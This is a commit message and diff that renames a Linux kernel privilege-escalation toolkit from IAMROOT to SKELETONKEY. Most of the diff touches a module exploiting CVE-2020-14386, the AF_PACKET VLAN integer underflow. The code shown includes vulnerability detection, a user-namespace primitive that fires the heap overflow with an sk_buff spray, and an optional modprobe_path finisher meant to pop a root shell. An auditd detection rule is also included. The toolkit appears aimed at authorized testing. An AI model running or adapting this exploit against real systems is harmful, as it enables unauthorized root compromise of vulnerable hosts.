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Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
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@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## IAMROOT role
## SKELETONKEY role
Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher.
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
/*
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
*/
#ifndef AF_PACKET2_IAMROOT_MODULES_H
#define AF_PACKET2_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet2_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet2_cve_2020_14386 IAMROOT module
* af_packet2_cve_2020_14386 SKELETONKEY module
*
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap
* write-before-allocation. Different bug from CVE-2017-7308 same
@@ -10,12 +10,12 @@
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,7 +43,7 @@
* before backport. Embedded systems with 4.x kernels still in production.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -75,7 +75,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single iamroot run on an arbitrary host. We
* land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct iamroot_ctx *ictx;
const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in iamroot_finisher_modprobe_path() correctly reports
* loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 2:
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_packet2");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_packet2");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
}
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct iamroot_module af_packet2_module = {
const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2",
.cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet2(void)
void skeletonkey_register_af_packet2(void)
{
iamroot_register(&af_packet2_module);
skeletonkey_register(&af_packet2_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
#define AF_PACKET2_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet2_module;
#endif